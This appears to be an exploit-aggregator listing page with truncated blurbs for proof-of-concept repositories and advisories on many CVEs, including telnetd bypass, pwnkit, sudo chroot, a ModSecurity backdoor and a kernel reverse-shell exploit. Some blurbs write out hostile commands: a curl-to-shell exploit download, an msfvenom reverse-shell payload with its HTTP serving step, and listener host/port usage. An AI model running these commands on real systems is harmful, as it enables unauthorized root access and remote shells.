PoC-CVE-2026-33017

PoC: CVE-2026-33017 Langflow = 1.8.1 is vulnerable to a remote, unauthenticated RCE https://nvd.nist.gov/vuln/detail/CVE-2026-33017 Usage root@kitploit: usage: CVE-2026-33017.py -h --lhost LHOST --lport LPORT target PoC exploit: CVE-2026-33017 positional arguments: target Target hostname options:...

PT-2026-89399

Renovate before 44.14.7 contains a command injection vulnerability in the Mix manager when processing private dependencies with unescaped organization parameters. Attackers can inject shell metacharacters through malicious package names to execute arbitrary commands as the Renovate user in...

PT-2026-89492

Improper escaping of a request URL in ConfigServer Security & Firewall allows an unauthenticated remote attacker to execute arbitrary commands as the CSF service account via shell command injection. The vulnerability affects versions of the software originally distributed by ConfigServer, as well...

GHSA-V25G-MVWR-F5FP webhookd: Unrestricted HTTP Header to Shell Variable Injection

Description Before 1.22, if the Basic Auth htpasswd middleware was not configured, all incoming HTTP headers were blindly forwarded to the webhook script execution environment as shell variables. While the Basic Auth middleware correctly strips the authentication header X-WebAuthn-User from the...

webhookd: Unrestricted HTTP Header to Shell Variable Injection

Description Before 1.22, if the Basic Auth htpasswd middleware was not configured, all incoming HTTP headers were blindly forwarded to the webhook script execution environment as shell variables. While the Basic Auth middleware correctly strips the authentication header X-WebAuthn-User from the...

CVE-2025-66034-htb-ctf

CVE-2025-66034-htb-ctf Exploit del Generador de Fuentes Variables VariaType Este repositorio contiene un exploit especializado para la máquina VariaType de Hack The Box. El exploit aprovecha una vulnerabilidad en la forma en que la biblioteca fontTools o la aplicación web maneja archivos XML...

CVE-2026-24061

CVE-2026-24061 - Telnet Argument Injection Nuclei template for detecting the CVE-2026-24061 vulnerability in GNU inetutils telnetd, allowing root access without authentication. 📋 Vulnerability Description CVE-2026-24061 is a critical argument injection vulnerability in GNU inetutils telnetd that...

CyberhawksLab-telnetCVE

CyberHawks lab demo finding report Credit to: @SafeBreach-Labs CVE: CVE-2026-24061 Lab: Cyberhawks Lab Target: 10.1.1.1 demo.cyberhawks.lab Finding ID: WU-08 Date: 2026-09-08 Severity: Critical Status: Confirmed / Exploited Executive Summary During an assessment of the Cyberhawks lab environment,...

CVE-2026-24061

CVE-2026-24061: telnetd Authentication Bypass Vulnerability CVE-2026-24061 is an authentication bypass vulnerability in telnetd that allows attackers to bypass identity verification through specific combinations of environment variables and directly obtain a root-privileged shell. There is a flaw...

Privilege-escalation-ASKEY

Privilege-escalation-ASKEY-Router-RTF3505VW-N1 CVE-2022-47040 ASKEY 路由器上的权限提升漏洞 设备：ASKEY RTF3505VW-N1 固件：BRSVg000R3505VMN1001s327（未在其他版本上测试） CLI 版本：ReducedCLIHGUv13 漏洞利用： ASKEY RTF3505VW-N1 设备可通过 ssh 访问受限的默认 shell： 该受限 shell 可以访问 "ReducedCLI"，且环境受到限制，无法执行大多数 linux/unix 命令。 受限 shell 中存在 "tcpdump"...

modsecurity-backdoor

ModSecurity Backdoor Description This is a proof-of-concept of malicious software running inside of ModSecurity WAF. Software has two main functions: Retrieving content of files. Running commands and retrieving output remote shell. Additionaly, it includes these functions: Dynamic setting of...

poc-cve-2021-4034

poc-cve-2021-4034 PoC para CVE-2021-4034 denominado pwnkit Cómo usar solo ejecuta make make y luego revisa la carpeta release o si prefieres el comando de una línea sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" Disfruta root@kitploit:...

php-8.1.0-dev-backdoor-rce

PHP 8.1.0-dev Backdoor Remote Code Execution PHP 8.1.0-dev Backdoor System Shell Script PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by...

CVE-2025-59287-WSUS

CVE-2025-59287-WSUS powershell version of hawktrace POC exploit https://hawktrace.com/blog/CVE-2025-59287-UNAUTH 1: edit the variables in the script url, port, etc 2: start netcat listener 3: run script - it will auto download ysoserial.net, generate the payload and send exploit to WSUS server th...

CVE-2025-8625

CVE-2025-8625 — PoC Overview This repository contains the source files for an article on Xakep.ru. The repository contains demonstration materials intended exclusively for security research, education, and testing in isolated laboratory environments. The repository is not intended for use against...

CVE-2026-31431-REVSHELL

root@kitploit: █▀▀ ▄▀█ █ █ █▀█ █▀█ █▀█ ▀█▀ █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░ CVE-2026-31431 • Linux Kernel LPE → Root Reverse Shell Overview FailRoot is a weaponized exploit for CVE-2026-31431 — an out-of-bounds write in the Linux kernel's crypto: algifaead subsystem. It chains a privilege escalation...

CVE-2026-5059-poc

Where is CVE-2026-5059 in the code? The vulnerability is in two files working together: File 1: tools.py — The Root Cause The old version used shell=True in executepipedcommand: python OLD VULNERABLE CODE process = subprocess.run command, ← raw string passed to shell shell=True, ← THIS is the...

CVE-2025-32463

📌 CVE-2025-32463 — Sudo --chroot Local Privilege Escalation ExploitDB ID: 52352 🧠 Overview This repository documents a critical local privilege escalation LPE vulnerability affecting Sudo versions 1.9.14 – 1.9.17. The vulnerability arises from an incorrect implementation of the sudo -R --chroot...

cve-2025-55182

🛡️ React2Shell CTF 🚀 Bienvenido a React2Shell-CTF , un entorno Dockerizado diseñado para practicar la explotación de React2Shell CVE-2025-55182. React2Shell es una vulnerabilidad crítica que afecta a aplicaciones basadas en React. Este repositorio proporciona un desafío Capture The Flag CTF seguro...

cve-2022-3218

Paso 1 — Crear un payload REAL Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Paso 2 — Servir el payload por HTTP En el mismo directorio: python3 -m http.server 80 Paso 3 — Ajustar el exploit Ejecuta así: python3 CVE-2022-3218.py 172.20.7.185...